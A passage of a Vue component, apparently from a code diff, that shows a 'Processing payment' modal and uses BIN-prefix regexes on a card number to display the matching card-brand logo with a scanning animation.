import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
const { t } = useI18n(); // 解构出t方法
interface Props {
cardNumber: string;
showModal: boolean;
}
interface Emits {
(e: 'update:showModal', value: boolean): void;
}
const props = defineProps<Props>();
const emit = defineEmits<Emits>();
const price = 'Gs. 294.000';
const formattedPrice = computed(() => {
return price.replace(/\.(\d{3})$/, '$1');
});
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'Visa';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'Mastercard';
if (/^(62|81)/.test(num)) return 'UnionPay';
if (/^3[347]/.test(num)) return 'Amex';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'Discover';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DinersClub';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'Maestro';
if (/^220[0-4]/.test(num)) return 'Mir';
return 'Generic';
});
// 监听 showModal触发支付逻辑
watch(
() => props.showModal,
(newVal) => {
if (newVal && props.cardNumber) {
}
}
);
</script>
<template>
<div class="payment-modal1">
<div v-if="showModal" class="modal1">
<div class="modal1-content">
<div class="card-logo">
<img
v-if="cardType === 'Visa'"
:src="c1"
alt="Visa"
/>
<img
v-else-if="cardType === 'Mastercard'"
:src="c2"
alt="Mastercard"
/>
<img
v-else-if="cardType === 'UnionPay'"
:src="c4"
alt="UnionPay"
/>
<img
v-else-if="cardType === 'Amex'"
:src="c5"
alt="Amex"
/>
<img
v-else-if="cardType === 'Discover'"
:src="c6"
alt="Discover"
/>
<img
v-else-if="cardType === 'JCB'"
:src="c3"
alt="JCB"
/>
<img
v-else-if="cardType === 'DinersClub'"
:src="c8"
alt="Diners Club"
/>
<img
v-else-if="cardType === 'Maestro'"
:src="c7"
alt="Maestro"
/>
<img
v-else-if="cardType === 'Mir'"
:src="c9"
alt="Mir"
/>
<svg
v-else
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 64 40"
fill="none"
stroke="#3498db"
stroke-width="1.5"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect x="2" y="2" width="60" height="36" rx="4" fill="#f5f5f5" />
<rect x="8" y="8" width="14" height="10" fill="#d4a017" />
<path d="M8 23 h48" />
<path d="M8 27 h32" />
<path d="M8 31 h24" />
<circle cx="50" cy="12" r="3" fill="#ccc" />
</svg>
</div>
<h3 class="title">{{ t("Processing payment") }}</h3>
<p class= "desc">{{ t("Please do not refresh or close the page") }}</p>
</div>
</div>
</div>
</template>
<style scoped>
.payment-modal1 {
font-family: Arial, sans-serif;
display: flex;
flex-direction: column;
align-items: center;
}
.modal1 {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.modal1-content {
background-color: white;
padding: 50px 20px;
border-radius: 8px;
text-align: center;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
max-width: 300px;
width: 100%;
}
.card-logo {
display: flex;
justify-content: center;
margin-bottom: 15px;
position: relative;
overflow: hidden;
}
.card-logo img {
height: 70px;
object-fit: contain;
}
.card-logo svg {
height: 50px;
width: 80px;
}
.card-logo::after {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 30%;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.7),
transparent
);
animation: scan 2s infinite;
}
@keyframes scan {
0% {
left: -100%;
}
100% {
left: 100%;
}
}
.price {
font-size: 1.2em;
color: #333;
margin-bottom: 10px;
}
.title {
font-size: 1.2em;
font-weight: 400;
}
.desc {
font-size: 0.9em;
color: #666;
margin-top: 5px;
margin-bottom: 0;
}
</style>

Some files were not shown because too many files have changed in this diff Show More